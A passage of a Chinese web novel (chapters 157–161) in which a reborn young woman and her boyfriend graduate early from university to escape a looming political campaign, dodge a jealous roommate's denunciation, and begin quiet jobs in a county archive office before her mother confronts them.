钟莹莹目瞪口呆的看着他，心里小声嘀咕道：哪有人一见面就送钱的。 但是，不得不说，他的这种行为真的帅爆了！！！ 钱在哪里爱就在哪里，钟莹莹两辈子都没谈过恋爱，所以一直没太搞懂什么是爱情。 她现在跟余嘉祥之前的感情，更像是一种合约制度下衍生出来的特殊物质。 她图能发展一个二十四孝对象应付现有的社会制度，余嘉祥图能反抗他的父亲已经想要拥有一个和谐美满的家庭。 各取所需，钟莹莹觉得没有什么不好的。 “小余同志，你很上道嘛！”钟莹莹满意的拍了拍余嘉祥的肩膀。 “再重复一遍，我们的宗旨是什么？” 余嘉祥低声道：“听媳妇话，听媳妇话，听媳妇话！！！” 一开始他的声音还有些小，但是越说到最后他底气越足，声音也越来越大。 有池大的学生从他周围路过，一脸无语，这都被调成什么样了？真给他们池大的男生丢脸。 一点也不像他，他对象一生气，他就主动用他的脸去扇他对象的巴掌，真男人就该像他一样，尽显男儿本色！ “谢骋，干什么呢这么慢？” 路媛都走出去好远一段路了，一转头突然发现身边的人不见了，然后她就回来找啊找，结果发现她要找的人傻愣愣的站在他们出发的地方，呆拉吧唧的不知道干嘛呢。 她那叫一个气啊，直接大步流星的跑回来，照着他脑瓜子就是一巴掌。 “媛媛，你别生气，我真不是故意的……” 对象来了，谢骋也顾不上再看学弟学妹的热闹，着急忙慌的哄他对象去了。 钟莹莹给完余嘉祥大虾干，又收了余嘉祥的钱票，她总觉得还是该再给他拿些什么。 空间里的黄皮果她本来是不打算拿出来分的，因为不好解释。 但是，人家都给她爆那么多金币了，钟莹莹觉得还是该再表示表示。 她小姐妹们都已经吃到嘴的果子，总不能当她未来对象的人反而吃不到了吧？ 因此，钟莹莹一咬牙，还是又从自己那随身带着的包裹里掏出来一小盒黄皮果。 “这个容易坏，你拿了回去尽快吃了，不要耽误。” 东西给出去了以后她心里压力反而没那么大了。 黄皮果这玩意，在这年代的内陆地区恐怕没人能认的出来，本身就是小众水果，不是特别爱吃的人没人去关注这个。 要是有人问，她就说海市带回来的，反正也无法查证。 余嘉祥左手一竹盒黄皮果，右手一提篮大虾干，回到宿舍之后脸上还挂着傻笑。 “嘉祥，你手里拿的这是什么？圆圆的看起来很好吃的样子！” 刚开学就熟门熟路去操场上打球的室友满头大汗的回头宿舍，撩起下衣摆擦了擦脖子上的汗，看见余嘉祥桌上的黄皮果就凑了上去，并且自来熟的想伸手进盒子里拿一颗。 余嘉祥打掉他的手，宝贝的将盒子盖上：“这我对象给我的，不能给你吃。” “你吃这个！”他说着从柜子里掏出一袋子饼干来。 这也是他从家里带的，钟莹莹不爱吃，就留在他这里了。 他来学校之前，那个胖子又被他娘送到他爹这了。 余嘉祥一开学，好几个月都回不去，为了不让那胖子占他便宜，他把家里能薅来的东西全都一个不留的带来了学校，老头的钱包也被他掏了个一干二净。 他爹跟那个胖子娘离婚时，他就把他爹分得的那半存款掏来了。 美名其曰胖子有他娘呢，胖子拿一半他也得拿一半。 因着那碗汤的事情，余华容对他心有愧疚，十分顺从的把自己存折里的剩余的存款转移到了余嘉祥的个人户头上。 室友拿了一块饼干，恶狠狠的放在嘴里咬了一口，口齿不清，吃水还骂挖井人道：“真小气！就跟谁没有对象一样！” “等明天开始上课了，我也找一个去！” “你跟谢骋一样可恶！” “啊啊啊啊～为什么我没有一个从高中就在一起的对象啊～” 整个三零三寝室，只住了他们三个混寝的，三*人中只有他自己是光棍，魏翔是越想越觉得不公平。 等到第二天老师点名的时候，让他更生气的事情发生了。 “不是，哥们你这对吗？你才十四你着什么急呀？包办婚姻要不得啊！” “你给哥哥说，你那对象是不是家里给你找的，我给你说，你得反抗你知道吗？咱们新青年要不畏艰难，勇于斗争！” 魏翔嘴上说的义愤填膺，余嘉祥却是一眼就看穿了他的‘阴谋诡计’。 这人就是羡慕嫉妒恨。 “不是十四，马上我就十五了，对象我自己找的，不是家里安排的。” “我俩高中做了三年同桌，家长都见过了。”余嘉祥的声音中满是骄傲。 他去过钟家岗，在钟莹莹家里吃过饭，四舍五入他已经见完家长了。 魏翔掐住他的脖子：“你能不能不要这么离谱啊！” 他这个二十岁的大好青年找不着对象，人家十四五的都见完家长，给自己安排的妥妥的了。 魏翔生气，魏翔不服。 魏翔找对象，魏翔被拒。 “嘉祥，骋哥，你们的对象都咋找到的啊？”垂头丧气的魏翔实在没招了。 他拿着一面小镜子，反反复复的看着自己的容貌，他这也不丑啊，五官端正，浓眉大眼的，为啥女孩子都不愿意搭理他呢。 想不通，他真的想不通。 谢骋洋洋得意道：“你学不来，我跟媛媛可是青梅竹马，一块长大的。” 魏翔看他这个样子，真的很想揍他。 谢骋这边没指望了，他只能转头望向余嘉祥：“嘉祥，你给我出个招呗～” 余嘉祥往外走了几步，稍微离谢骋远了些才摇摇头道：“我也没招，我跟莹莹是处了三年，慢慢处出来的关系。” 他其实大概能明白为啥魏翔找不着对象。 他太心急了，哪有一上来就问人家女生处不处对象的，而且问完一个人家不同意后，他立马又转头去问另外一个。 这样一来二去的，他的名声在女生们那已经臭了，人家不举报他耍流氓已经是对他足够宽容了。 这种二傻子，余嘉祥认为，自己有必要减少跟他的接触。 这样万一将来他惹出祸事来，也不必牵连到自己。 除了一开始因为跟钟莹莹年龄相似对她多了几分亲近外，余嘉祥对待外人的态度是很冷漠的。 大学的生活要比高中放松许多，大多数能一路读到大学的学生家境都比较好，极少数家贫的在拿到学校的补贴后，日子也好过了不少。 这人啊，一吃饱喝足没事干就想找事。 第158章 “你那室友呢？又跟着拉横幅游街去了？” “嗯。” 池大最近也不知道从哪兴起的妖风，乱七八糟的学生扎堆儿的组什么社团，天天搞活动出去扯着横幅，到处游行。 钟莹莹敏锐的嗅见其中异常，再三跟余嘉祥强调了，绝对不能参与进去。 余嘉祥也不是傻的，就班上同学闹的那些事，如果搁以前，早让公安局给收拾了，可今年奇怪的很，不光公安那边不做声，校方也跟个缩头乌龟似的。 更何况他那个二傻子室友魏翔都被拉进了社团，搞革新，他更加觉得不对劲了。 他们今年大四，谢骋已经毕业，早早的离开了学校，如今那个混合三人寝只剩下了他跟魏翔两人。 自打参加了那劳什子社团后，魏翔天天早出晚归的不见个人影。 还有就是，余嘉祥总感觉魏翔看自己的眼神不对，像在憋着什么坏。 他把自己的想法给钟莹莹说了。 钟莹莹沉思良久后，直视着余嘉祥的眼睛道：“要不我们申请提前毕业，你跟我直接回我家吧！” 只要离开学校，回到家乡，任外面有再多的风雨，也影响不到他们。 离那场长达数年之久的妖魔鬼怪狂欢的动乱时间越近，钟莹莹心里越不安。 之前的**时间都提前了，那她脑海中的动乱时间就一定是准确的吗？ 她不敢赌，也不想去赌。 如果余嘉祥愿意跟她回老家最好，她已经打听好了，人事局那边找人，她是想着回去以后，直接进档案室工作，风吹不着，雨淋不着，也没什么弯弯绕绕。 如果余嘉祥不愿意的话她也不强求，就当这几年只是一场梦好了。 他究竟会如何选择呢，钟莹莹其实心里有些没有底。 …… “好，我们现在就去主任办公室！”与钟莹莹预想中的状况不一样，余嘉祥没有犹豫，连一秒钟都没到就接受了她的提议。 “你不再考虑考虑？”钟莹莹眼神复杂，用一种劝说的口吻劝他。 余嘉祥：“这有什么好考虑的？我们不是早都说好了吗？难不成你想始乱终弃？” 他的视线紧紧的盯在钟莹莹，似乎要在她身上盯出个花来。 钟莹莹倍感压力，立马解释：“没有，我就是怕你后悔。” 她有什么不愿意的，白得一个身强力壮、长得好看还听话的对象，她很知足的好吧！ “县里不比市里，没什么前途的，你爹会同意吗？” 余嘉祥：“他同不同意是他的事，我既然早都答应你了，我是绝对不会反悔的。” 那老头不长记性，这几年趁他不在家，又跟那女人勾搭上了，大胖儿子抱怀里，压根没时间管他。 幸好余嘉祥也没有真正的指望他会改邪归正，没有期望就没有失望。 他早都已经想好了要跑路，现在也就或早或晚的问题而已，他已经迫不及待的要跟钟莹莹回钟家岗了。 …… “你俩想好了？真的要提前毕业？现在毕业找不到单位接收你们的话，那你们可就成待业青年了？” “钟莹莹是农村户口没什么问题，可你，余嘉祥，你没工作知青办指定会找上你的。” 钟莹莹跟余嘉祥的课程早就已经修完了，论文也已经交了上去，是符合提前毕业的标准的。 马老师没过多的在这个问题上纠结，只是提醒了余嘉祥一句。 “老师，我想好了，还有工作的事情您不用担心，我们俩已经联系好工作单位了，现在只需要您帮忙给我们盖一下毕业证上的公章，还有转档案的事，也需要您费心一下。” 马老师讶异：“那你俩速度挺快的！” 余嘉祥不好意思道：“主要还是莹莹家里出了力。”他现在成了吃软饭的这个。 不过他没觉得有什么不好的，软饭香呐，有谁不爱吃软饭呢？ “这是我们俩的单位接收函，老师您帮忙把我们的档案转到这个地址就成。” 马老师拿过余嘉祥手里的接收函，仔细检查了一下后皱眉：“这是县里？你们真不再考虑一下？如果正常跟着学校走流程的话，那以你们俩的成绩是有很大的几率能留在省城的！” 那接收函上面的单位仅仅只是一个县级单位的档案室，这地方进去了几乎就没什么晋升的机会，只能一年一年熬资历，直到退休。 一般是一些年纪比较大且没什么上进心的人才会去那里，这俩小孩，刚刚成年，怎么偏偏就找了个养老岗啊～ 要是让钟莹莹知道他的想法，那她指定会来一句，老师你还是年纪小阅历浅啊，只有年纪大的人才知道养老岗的好处。 “老师，我们想好了，我是老来子，我爹娘年纪大了，回老家工作，我也能更好的照顾他们。”钟莹莹怕马老师再继续劝下去，直接放出自己的究极大杀招。 余嘉祥牵住她的手，也跟着对马老师道：“对，我们想早些回去，孝敬父母。” 马老师虽然知道他俩在处对象，但此刻还是不免牙酸，这也太腻歪了。 钟莹莹的理由他无法拒绝，他赶紧冲这俩人摆摆手：“行，这事我同意了，你俩回去吧！我给你们办！” 这俩人再待下去，马老师都觉着这办公室他没办法待下去了。 他好好一个老师，插进小情侣中间，就好像那第三者似的。 在马老师帮忙**的时间里，宿舍里的魏翔行为越发诡异。 他看着余嘉祥的眼神中总是带着一丝怜悯，直给他看的毛骨悚然。 余嘉祥可不认为自己身上有什么值得魏翔怜悯的特质。那到底是什么原因导致的他一直盯着自己不放呢？ 余嘉祥只能想到一种可能，那就是他知道即将会有什么不好的事情在自己身上发生，而且这件事情还是由他魏翔主导的。 想到这里，余嘉祥恨不得立马就离开寝室，远离魏翔。 终于，在他们去找马老师后的第三天，他跟钟莹莹的毕业手续办完了。 拿到毕业证书的那一刻，余嘉祥趁着魏翔不在，立马带着钟莹莹收拾包袱，连夜坐火车回钟家岗去了。 火车硬座上，钟莹莹捧着保温杯，喝了一口余嘉祥给她接的热水，好奇的问他：“怎么这么着急啊？你那室友又闹什么幺蛾子了？” 正常情况下，他俩应该会找找关系，买两张卧铺票回家去的。 可现在临时上车，只能买到硬座票。 余嘉祥把两人随身带着的行李安置妥当后，才坐到钟莹莹身边，微微喘息道：“他不知道这几天又在干什么，总是带一些乱七八糟的人回宿舍，我想着我们都要走了，多一事不如少一事，就没理他。” “那些人好像是他参加的那个社团的成员。” 火车上他俩谈及魏翔时，留在池大的魏翔也在疯狂的找寻余嘉祥的踪迹。 “老师，余嘉祥呢？宿舍里怎么他的东西都不见了？”魏翔双目赤红的冲进了教师办公室，厉声质问着马老师。 马老师看着魏翔站在自己面前，就好像看杀父仇人一样看着自己，他深感不适，眉心拧成麻花问：“你找余嘉祥做什么？” “我……”魏翔正要回答，门口一人吊儿郎当的打断了他的发言，并替他答道：“当然是举报他、批斗他啊！魏翔跟我们举报说他室友余嘉祥作风奢靡，思想不正，我们团长让我们来喊他过去了解下情况，马老师，你就跟我们说余嘉祥去哪了就成！” 马老师家里也有被下放的亲戚，他对于举报和批斗这些字眼特别敏感。 明明这几年日子都好过了不少，为什么这些人又出来兴风作浪的啊。 他深呼吸一口气，努力平复自己的心情后，才开口道：“魏翔，他说的都是真的吗？” 他的学生当中难道真的出败类了吗？当然，他说的这个败类指的是魏翔。 冲进办公室后，心里的那股劲儿散了，魏翔没有勇气回答他的问题，只是避重就轻的说：“马老师，这个问题不重要，您只要告诉我们余嘉祥在哪就好。” 马老师听见他的话语心沉了沉，这是默认了他的问题啊，魏翔真的参与进那些事情中了。 他闭眼道：“余嘉祥办理了提前毕业的手续，已经跟着他对象一块回乡下去了，这会儿算着时间，他们应该到地方了。” 马老师想再给彼此一个机会，他睁开眼，努力控制自己的表情，想要让自己看起来更加和蔼可亲一些：“魏翔，你说的这些是不是有什么误会啊？他都愿意去支援乡下，怎么会作风奢靡，思想不正呢？” 门口斜倚着门框的小青年也似笑非笑的盯着魏翔：“对啊，人家都去乡下了，魏翔你说，他倒是哪儿思想不正呢？” 魏翔本就不是什么聪明人，举报余嘉祥也是别人给他的出的主意，让他拿室友给社团立投名状。 这会儿被老师还有社团副团长的质问，他就像是被架在火上烤了一般，身上的皮肤从脚后跟一直红到了耳垂。 浑身臊得通红的他声音细弱蚊蝇，再不复之前的狂躁，只讷讷道：“我、我也不知道～” 他朋友只给他出主意，让他举报余嘉祥，等着社团的人抓他去批斗就成，没给他说过要是余嘉祥走了，他要怎么办啊。 第159章 “得了，看来今儿个这事应该争不出什么结果了，马老师，我就先回去了。” 副团长人都走出办公室了，又像是想起什么，直接身子在外面，人后仰着把头伸进屋子里，对着魏翔恶趣味道：“哦～对了，魏翔，因为你涉嫌虚假举报这事，你的转正不成功哈！” 没看屋内的人脸上什么表情，副团长挥一挥衣袖，没带走一片云彩，镇定自若的离开了马老师的办公室。 只余下魏翔跟马老师两人相对无言。 …… “那个，魏翔，咱要不先回宿舍呢？老师要下班回家了，办公室要锁门了！” 眼看着太阳要落山了，马老师没时间再跟魏翔在办公室里耗下去，只能硬着头皮提醒他。 他说了一遍看魏翔没有动作，便想着再提醒他一遍，可话还没说出口，他就听魏翔幽幽开口道：“老师，你说我做了这么些事，最后还是一事无成，到底图啥啊？” 马老师没敢接他话茬。 魏翔自顾自又继续说道：“当时进校的时候我就羡慕余嘉祥跟谢学长都有对象，就我没有，然后我就想着，我也要找一个对象。” “结果没人愿意搭理我，大家还都不带我玩了。” “只有红某团的人愿意接纳我，可现在我把事情搞砸了，他们也不要我了。” “你说到底为啥啊？” “额……你先别激动，你这不是马上毕业了吗？等拿到毕业证，学校给你分配工作就好了。” “等你真正走向社会的就会知道，咱们在学校里都是小打小闹，影响不了你什么的。” 马老师心里苦啊，累死累活上了一天班，被这想搞坏事没成功的人堵在办公室就算了，等到下班了，还得装作知心老师的样子去安慰他。 这破班真是一点都上不下去了，等回家他就写辞职信交到教务处去，他也要回老家种田去。 马老师不知道的是，在接下来的几年里，他看着原先的同事领导一个个的被整下马，剃着阴阳头，到处游街示众，他是有多么的感激自己这时的决定。 …… 钟莹莹跟余嘉祥坐了一天的硬座从省城到县里，她只感觉自己的腰都快要累断了。 没精力回家，在招待所开了两间房后，两人是倒头就睡啊。 等到第二天早上，钟莹莹才收拾了自己的包袱，准备去公安局找她姐夫黄有德，让他回村的时候把自己也捎上。 “嘉祥，我家里暂时还不知道咱俩的事，你等我回去跟我爹娘说了，过两天我再带你回去见他们。” “你放心，我很快的。” 钟莹莹说完这些话，总感觉自己像个渣男一样，在哄骗无辜少男。 “嗯。”余嘉祥老老实实的待在招待所里，等着钟莹莹来接自己。 …… “姐夫！这里！”钟莹莹对着从公安局里出来的黄有德招手道。 等黄有德看见她走过来后，她拎着东西又问：“我姐呢？她没在县里吗？你有给她说我回来了吗？” 黄有德瞥她一眼，知道她想问的是自己有没有将她那个小对象的事透露给家里，便没好气道：“你姐在村里，我没给她说。” 天知道，他正上着班呢，突然接到来自远在省城上大学的小姨子的电话，电话里还让他给她对象打听一下工作的事情，黄有德心中有多么惶恐。 他战战兢兢的给钟莹莹办完事情后，又担惊受怕的想着这件事情被他媳妇和丈母娘知道后会怎么样。 黄有德最终发现这事就是无解的，不帮吧，他小姨子会怨自己，再说了，两个大学生诶，安排到哪个单位别人都得记自己的情。 帮了后，他又愁，等到被家里人发现，他会被骂成什么样子。 黄有德想不到两全其美的解决办法，最后直接摆烂，决定顺其自然。 他自己装作不知道其中内情，让钟莹莹自个儿跟她爹娘和姐姐解释去。 陈显英正在家里侍弄自留地里种的黄瓜秧呢，就听身后有人脆生生的喊了一声：“娘！” 她觉得自己好像是幻听了，要不怎么能听见在外上大学的小女儿的声音呢。 陈显英没有回头，继续弯着腰给竹架上的黄瓜藤蔓打扭，钟莹莹又喊了她一声。 这次她将信将疑的回头了。 “莹莹！你怎么回来了？”陈显英丢下手里的剪下来的黄瓜枝叶，一脸惊喜的从自留地里跨了出来。 钟莹莹：“娘，我提前毕业了！” “以后就不去学校了，我被分到了咱们县人事局档案室上班。” “明天就要去单位报道了！” 陈显英大喜：“哎呀，这是好事啊！” 她不懂工作的好坏，她只知道女儿以后要吃公家饭了。 “嗯，是好事，所以我想先回来告诉你跟我爹一声。” 钟莹莹想了又想，突然决定暂时不把余嘉祥的存在告知她爹娘。 她打算再等等，等到她跟余嘉祥在人事局安顿下来，两个人收拾的板正的，再正式让他登门，反正工作已经定了，他这个到嘴的鸭子也跑不了了。 “我喊你爹去，也不知道这死老头子又干嘛去了，闺女回来了不知道吗？”陈显英把手里的剪刀放下，兴冲冲的就出去找人去了。 由于太过兴奋，她都没有注意到跟在钟莹莹身后，帮她拿行李的黄有德。 钟莹莹去到自己的屋里，把门打开，对黄有德道：“姐夫，你把行李给我放这就行！” 黄有德：“好！” 放下行李后，他留都没敢在钟家岗留，直接蹬着自行车又回县里去了。 他心里犯嘀咕，只要他跑的够快，那小男生的事应该沾不到他身上吧？应该吧？ 第二天钟莹莹拿着身份材料要去人事局报道时，黄有德没从她脸上看出什么异常。 黄有德急的抓耳挠腮的，他这小姨子到底有没有跟家里说那件事啊。 心中疑惑，他还不敢直接问。 不问的话他还可以借口说他不知情，只是把两人当成同学关系，顺手帮了一把忙，问了的话，知道内情，知情不报，就全成他的错了。 “哟～这回咱们单位两张新面孔都是小年轻啊！” “何止呢！张姐，人家还都是高材生呢，池省大学来的！” “真的，哎呀，我一瞅就瞅出你俩跟旁人不一样，这小脸蛋长的就聪明呢！小姑娘有对象没？张姐给你介绍一个？” 问完了钟莹莹，她又问余嘉祥：“小伙子，我看你长得也不错，谈对象了吗？张姐邻居家里有个小姑娘，跟你年纪差不多大，你要是没对象，我把她介绍给你！” 余嘉祥没听清她后面说的话，注意力全放在她要给自己对象介绍对象上了。 都被当面撬墙角了，余嘉祥也不再隐忍，直接皮笑肉不笑道：“不用了，张姐，我跟莹莹我俩处着对象呢！” 张姐听了，面露尴尬道：“那啥，小伙，张姐跟你开玩笑呢！哈哈～你别介意啊！” “我刚刚是不知道，你俩般配着呢！张姐还有事，对了，主任昨天喊我早上去他办公室一趟呢，我先过去了，小李，你好好招待新人啊！” 哎～这叫个什么事呀～说媒说到人家小情侣头上了，一点眼力见也没有，她以后都没脸再给人介绍对象了。 张姐出办公室的时候左脚踩着右脚，差点没摔个四脚朝天，饶是如此，她还是十分坚强的忍着疼痛飞快的逃离了气氛尴尬的大办公室。 她走之后，带钟莹莹他们过来的小李一脸尴尬道：“你们别介意哈！张姐她没坏心的，她就是比较喜欢给人保媒！” “这两张办公桌是空着的，你们就坐这里吧，工作的话，一会儿等张姐回来了再给你们安排，现在你俩要没事的话，那边有水盆和抹布，水房在走廊的右边，你俩可以打水给办公桌收拾一下。” “我还有事，我也先走了！” 小李跟张姐一样，给钟莹莹跟余嘉祥安排妥当后，恨不得脚下踩着风火轮，立马逃离现场。 看着除了他俩之外空无一人的办公室，钟莹莹有些无奈道：“走吧！咱俩打水去！” 钟莹莹说什么余嘉祥都听她的，“嗯。” 俩人打水回来后，办公室里又有两个四十多岁的大姐说说笑笑的进了办公室。 钟莹莹抬起手腕看表，一看时间上午九点半，而之前小李给他们说的上班时间是九点。 她想，这个工作她大约是来对了。 这个大办公室里一共有八张办公桌，小李，张姐，还有她跟余嘉祥一共占了四张。 这新来的俩大姐占两张，那就代表着还有两位没来或者请假出外勤去了。 话说回来，她们档案室的职工有出外勤的必要吗？ “你们俩就是今天新来的吗？吃饭了没？姐这里有包子，来尝尝？” 热情的王姐看他俩手里的工具，没等两人回答，直接给钟莹莹还有余嘉祥一人嘴里塞了一个小笼包。 “怎么样，好吃吗？” 钟莹莹嘴巴被包子撑的满满的，她艰难的咀嚼了几下后，把包子吞了下去，虽然被噎的够呛，她还是点点头，对着王姐道：“好吃的，谢谢王姐，我俩吃过早饭了。” 第160章 “吃过了就成，姐给你说啊，你们来我们部门算是来对了！” “别看外面都说这里这也不好，哪也不好，等你俩上几天班，就懂得这里的个中妙处了，你说对不对，阿萍？”王姐揶揄的朝着另外一个大姐挤了挤眼。 那大姐也就是王姐口中的阿萍，笑着推了她一把：“你看你说什么呢？人家新来的小同志还没上岗，你就教人家不学好。” 王姐三两口把手里的包子送下肚，又拿着搪瓷杯不紧不慢的轻轻吹开水面的茶叶沫子，抿了一口茶水道：“啥叫不学好？我这在教两位小同志人生哲理。” “这人啊，辛苦也是活一天，享受也是活一天，没必要把自己逼的要死要活的。” 王姐说这话的时候钟莹莹感觉她整个人都在发光，这不同道中人嘛，难得能在这个时代遇到这种思想的人，而且她竟然还敢光明正大的往外说，真的是个勇士。 阿萍见劝不动她，只能转过身来给钟莹莹和余嘉祥解释：“你俩别听王姐的，她这里有问题！”阿萍指了指自己的太阳穴。 “年轻时她吃了太多的苦头了，受伤之后被调来档案室，她脑子就不太好使了。” 他们说什么，钟莹莹就应什么。 她知道，对方是好意在给王姐开脱，外面那么乱，王姐这话在办公室里说说没啥事，要是让有心之人听见，那王姐指定要倒霉。 不过她看王姐挺正常的啊，除了有点太过热情之外，她没瞧出她有一点异常。 王姐吃完饭之后，就拿了张报纸坐在那里看报，阿萍以往跟她的行为模式完全一致。 钟莹莹她俩刚来，刚打扫干净的桌子上面啥也没有，只能尴尬的坐在板凳上，双目相对，百无聊赖。 阿萍看不下去，就丢给钟莹莹一串钥匙，然后开口道：“你俩刚来，张姐也不知道干什么去了，这是档案室的钥匙，你俩今天就帮着整理一下档案吧！把五三年七月那部分的档案规整好重新入库就成，不难的，按照时间来排就行。” “档案室在隔壁，走，我带你们过去！” “好的，阿萍姐！” …… “喏～这一堆就是！”阿萍指了指墙角的那一堆乱七八糟的资料，然后说：“你们慢慢弄，不着急的，一会儿十一点半别忘记去食堂吃饭，早些去，不用排队，单位食堂的饭是免费的哦～” 说完她就施施然离开了档案室。 钟莹莹顺着她刚才指的那个方向，来到了那堆纸制资料面前，她的嘴角抽了抽。 这堆东西真的还有整理的必要吗？纸都烂成啥样了，钟莹莹怀疑，阿萍姐就是看他俩无聊，在给他俩没事找事。 余嘉祥看见这堆东西也忍不住皱了皱眉：“莹莹，那边有板凳，你坐着歇一会儿，我来干就行。” 钟莹莹：“没事，我们一起弄吧！” “刚刚阿萍姐也说了，可以慢慢来，咱俩一点点搞，保证能够按时吃饭就成！”就当是打发时间吧。 说着她掩住口鼻，用两根手指捻起一张残缺不全的纸张，抖落了上面厚厚的灰尘。 “五三年七月六号，这张放前面。” “七月三十一号，这张往后排一排！” …… 干着干着，看着面前那堆乱七八糟的东西逐渐排列成面前这整齐的一沓沓纸张，钟莹莹心中竟然也生出了几分成就感。 她苦中作乐想：看吧，这就是朕为自己打下的江山。 余嘉祥虽然很嫌弃地上的那堆脏东西，但是钟莹莹干的起劲，他也只能叹了一口气，努力跟上她的步伐，争取自己多干一些，让她少干一些。 在他俩的努力之下，还没到十一点呢，那堆材料就被规整完毕了。 就是他俩这身上、这脸上，搞的全是灰尘。 张姐一进档案室就惊了：“一会儿没见，你俩这是挖矿去了，搞这一身脏？” “嘿～谁给你俩安排的活？这东西咱们慢慢搞就成，不着急的，小同志也太勤奋了，你俩这该累坏了吧？” “这样，张姐做主，下午给你俩放个假，回家歇歇去，明天再来上班。” “瞅这漂亮的小脸蛋都弄成花猫似的了，快上水房洗洗去，马上该开饭了，吃了饭你俩再回家去！” 皮肤上粘的灰尘一洗就掉，衣服上粘的只能回家换衣服了。 在水房洗了脸和手，又拍了拍身上的灰尘，钟莹莹小声嘀咕道：“早知道不干了。” 她还是上辈子当牛做马的思想没纠正过来，一上班就不想让自己手上空着。 改正，必须得改正，不然这单位不是白来了吗？ 好在中午食堂的饭菜及时抚慰了她这颗小心脏，真不愧是机关单位的食堂啊，伙食就是优秀。 那颜色鲜亮的麻婆豆腐，里面竟然还加了肉沫。 青椒豆豉肉片，里面全是肉片。 …… 菠菜炒鸡蛋是除了小咸菜外，整个窗口最素的素菜。 “快打菜，不然一会儿其他部门的下了班过来就得排队了！” 还没到饭点呢，整个档案管理科的人都不约而同的齐聚在了单位食堂，包括钟莹莹一直没见着的那位主任以及办公室里的另外两位同事。 打完饭，几人就近坐在一起。 “主任啊，我可得夸夸您了，你给咱们部门新招的这两位高材生那叫一个勤奋能干啊，今天刚入职就给档案室里那堆陈年旧案都给整理好了，你瞅给他俩累的，这身上让汗打湿了。” “所以我想跟您申请，下午给他俩批个假，让他俩回家休整休整，不然别的部门的人可能还会以为我们欺负新人呢！”张姐不着痕迹的拍着徐主任的马屁。 “哦？还有这回事？那我这次真的欠了老黄一个大人情啊！” 徐主任跟黄有德以前是战友，俩人转业一人进来公安局，一人来了人事局。 这些年，他俩的事业发展都挺不错的，都干成了中层干部。 “莹莹啊，你姐夫之前还和我夸你，说你是个聪明的小姑娘呢，听说以前还拿过公安的荣誉证书？” “我跟你姐夫那可是多少年的老交情了，以后你在办公室喊我徐主任，私底下喊我徐哥就成！” “还有你这个对象，你俩都是好同志，都在单位好好干，咱们单位缺的就是你们这样踏实肯干的年轻同志！” 徐主任一开口就暴露了自己跟钟莹莹家里关系匪浅。 张姐一听，脸上的笑容变得更大了，看来今天她亲近这两位新来的小同志这步棋真的走对了。 徐主任再过几年就要退休了，档案管理科她是最有希望接替徐主任的岗位，成为新主任的。 在档案室这种清闲的岗位，她每天拉帮结派的，到处给这个说媒，给那个说媒，图什么？ 不就是图大家能在选举的时候投她一票赞成票吗。 钟莹莹不知道张姐心里的弯弯绕绕，但她知道，刚到一个单位，顺着领导的话说准没错。 “徐哥，我以前也经常听姐夫提起您，说你们是好战友，好兄弟！” 她信誓旦旦保证：“您放心，以后我跟嘉祥在单位会好好干的，绝对不会给您丢脸。” 余嘉祥也是开口：“主任，我们会好好工作的。” 徐主任一脸欣慰的笑着说：“好！好！好！都是好同志！” 张姐也跟着帮腔：“不愧是大学生，这思想态度就是端正啊！” 那俩没见过的同志心里不知道咋想的，但面上也是和和气气道：“恭喜主任手下又添两员猛将啊！两位小同志来了，以后咱们这些老家伙也能轻松一些。” 这俩人看着比张姐、王姐还有阿萍都要年轻，最多三十出头，也不知道是什么原因让他们留在了档案管理科。 钟莹莹来档案室只是为了有个清闲自*在的工作，让她安安分分的度过这几年风波。 对于其他的事，她都不关心。反正只要政策一开放，她的那些存货就能立马让她无痛变身富婆，那个时候也没有了工作的必要。 他俩是中途插进来的，单位宿舍暂时没有空闲，所以余嘉祥只能继续住在招待所，钟莹莹则是去蹭了黄有德的宿舍，跟她姐一起住，把黄有德挤去了单身的同事那里睡。 徐主任向他俩保证：“你们放心，只要一有空出来的宿舍，我立马通知你俩。” 不过等边上人都走干净后，他又神秘兮兮的对钟莹莹说：“不过如果你俩相信哥的话，那我建议你俩再等等，先别往宿舍里住，我这边收到消息，单位过两个月要有大动作呢！” 徐住任指了指家属院：“听说跟那边有关，消息还未经核实，你俩不要往外传啊！” 钟莹莹挑眉：这是要分房子？按资排辈，这也轮不到她俩啊？ 心里怀疑，嘴上她还是乖巧道：“知道了主任，我们相信您。” 徐主任心里暗自感叹：这老黄的姨妹真乖巧伶俐啊，就是有对象了，不然他还能把自己儿子介绍给她，实在太可惜了。 因为心怀不轨，他再看余嘉祥的眼神就有些不对了。 钟莹莹跟余嘉祥急着回去换掉身上的脏衣服，并没有发觉徐主任的异常。 不过，他们这个衣服最后还是没及时换掉，在单位大门口，他俩跟上县城转悠的陈显英撞上了……魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 160-170 第161章 “你俩……”陈显英迟疑着。 她是不是真的年纪大了，眼睛坏完了，不然怎会看见她乖巧可爱的小女儿拉着一个男生从单位里出来呢？ 钟莹莹：“……” 怎么就这么巧啊，她这还没做好准备呢，她娘就找上门来了。 …… 黄有德宿舍内。 陈显英坐在椅子上，脸色少有的难看。 “说吧，到底怎么回事？” 钟莹莹讨好的笑着开口：“娘……” “我没让你说，我说的是你！”陈显英生气的看着余嘉祥。 她闺女那么乖巧懂事，长这么大都没让她操心过，一定是这不要脸的死小孩勾引她的。 “你又是从哪冒出来的？我闺女才刚毕业，你就粘上来了？” 对于这种状况，余嘉祥多多少少也有些心理准备，他要赘给钟莹莹，吃点苦头也是正常的。 “陈婶，你不记得我了吗？”小白花余嘉祥正式上线。 “你谁啊，我要记得你？我……”陈显英刚要骂人，然后瞥见余嘉祥的脸，心里顿时咯噔一下，坏了，这张脸她怎么真看着有些熟悉呢？ 见她不做声了，余嘉祥才开口解释：“婶子，我是莹莹同学啊，之前去过钟家岗，还在您家吃过饭的。” 陈显英想也没想就反驳道：“同学怎么了？同学就可以勾搭我家莹莹了？” “我给你说，我家莹莹还小呢，她不处对象，你从哪来的回哪去吧！” 不管认不认识，把主意打到她闺女身上，她就一百个不乐意。 “你有没有家教啊？你爹娘没教过你吗？懂不懂什么叫做父母之命，媒妁之言啊？” 陈显英的话越说越难听，都直接骂到人家父母头上去了。 钟莹莹看情况不对，连忙站出来劝：“娘，你听我跟你说，事情是这样的……” 陈显英：“你闭嘴，他自己不会说话吗？” “说话啊你，哑巴了不成？” 余嘉祥抿唇：“陈婶子，我娘在我小时候就不在了，我爹再娶了，后娘又给我生了个弟弟……我爹娘确实没教过我该怎么办……” 陈显英：“……” 怎么办？她方才的话是不是说的太过分了些？ 该死的，她怎么晓得这男生身世这样可怜啊。 